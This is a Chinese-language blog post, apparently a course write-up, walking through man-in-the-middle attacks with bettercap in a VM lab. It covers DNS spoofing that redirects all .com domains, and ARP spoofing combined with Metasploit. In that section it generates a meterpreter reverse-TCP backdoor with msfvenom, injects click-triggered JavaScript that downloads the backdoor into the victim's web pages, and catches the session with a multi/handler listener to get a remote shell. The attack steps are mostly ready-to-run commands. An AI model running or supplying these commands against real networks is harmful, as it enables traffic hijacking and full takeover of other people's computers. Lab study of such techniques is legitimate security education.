使用bettercap进行渗透测试

软件综合训练—信息安全方向课程总结

(以下所有在虚拟机kali_linux下实现)

一、bettercap是什么

bettercap是一款完整,模块化,轻量级,易扩展的中间人攻击测试工具和框架。

如何安装?

1. 安装依赖

1
sudo apt-get install ruby-dev libpcap-dev

2. 安装稳定版本(GEM)

1
gem install bettercap

至此,bettercap已成功安装,下面让我们开始吧!

二、DNS欺骗

创建一个dns.conf文件,下面这个dns语句的意思是:所有的以.com结尾的网站全部解析到我的本地http服务器,.*.com就是一个正则,也可以是自定义的正则。

1
1.1.1.1 .*.com

之后使用bettercap命令进行DNS欺骗:

1
bettercap -X -I eth0 -T 192.168.73.129 -G 192.168.73.2 --dns dns.conf

第一个ip地址为局域网内要攻击的主机ip地址,-G参数为网关。

为什么一定是局域网内的呢,因为我们利用的是ARP报文的广播原理,而ARP报文只能在同一网段内广播,因此我们需要将kali_linux与受攻击的win7在同一网段下,由于我是用VMwa re开了这两个虚拟机,都是利用nat链接,当然属于同一个网段啦!

dns

之后被攻击的win7主机会出现什么现象呢?

win7_1

可以看到,ping百度的域名却返回的是我们在dns.conf中写入的1.1.1.1

三、ARP欺骗+msf

Metasploit项目是一个旨在提供安全漏洞信息计算机安全项目,可以协助安全工程师进行渗透测试及入侵检测系统签名开发。

进行html注入中间人攻击

1. 生成后门

1
msfvenom -p  windows/meterpreter/reverse_tcp LHOST=192.168.73.128 LPORT=444 -f exe > run.exe

LHOST为监听主机ip,即攻击者ip。生成一个run.exe文件。

runexe

2. 启动本地http服务

首先使用screen创建后台:

1
screen -S test1

​ 之后输入:

1
python -m SimpleHTTPServer 8888

test1

按ctrl+a+d返回。

3. 启动注入中间人攻击

同样的,我们先使用screen创建一个新后台test2

1
bettercap -I eth0 -X  -T 192.168.73.129  -G 192.168.73.2  --proxy-module=injecthtml --html-data "<script>document.body.onclick = function(){window.open('http://192.168.73.128:8888/run.exe')} </script>"

test2
按ctrl+a+d返回

4. 在本地启动监听

与前面一样,创建新后台test3。

之后输入命令如下所示:

1
2
3
4
5
6
7
msfconsole
msf >
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.73.128
set lport 444
run -j

test3

5. 在被攻击端运行run.exe

使用被攻击的win7虚拟机随便打开一个网页,比如 www.baidu.com 之后随便点击一个地方,就会触发我们注入html源码中的函数,跳转到我们的攻击主机ip+端口的web服务上并下载run.exe文件,若点击运行,则被攻击主机的控制权我们就可以拿到了。

download

6. 获得被攻击主机的控制权

在我们的监听会话中我们输入sessions命令可以看到如下内容:

sessions

​ 我们可以看到id为1的主机便是我们攻击的主机,那么接下来怎么获取它的控制权呢,很简单,我们只要输入:

1
2
sessions 1
meterpreter > shell

meterpreter >为输入sessions 1之后的提示符不需要输入。

​ 接下来我们便可以看到如下内容:

end

这个界面是不是很熟悉呢,嘿嘿嘿

攻防夺旗DC1 Python 多进程
Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×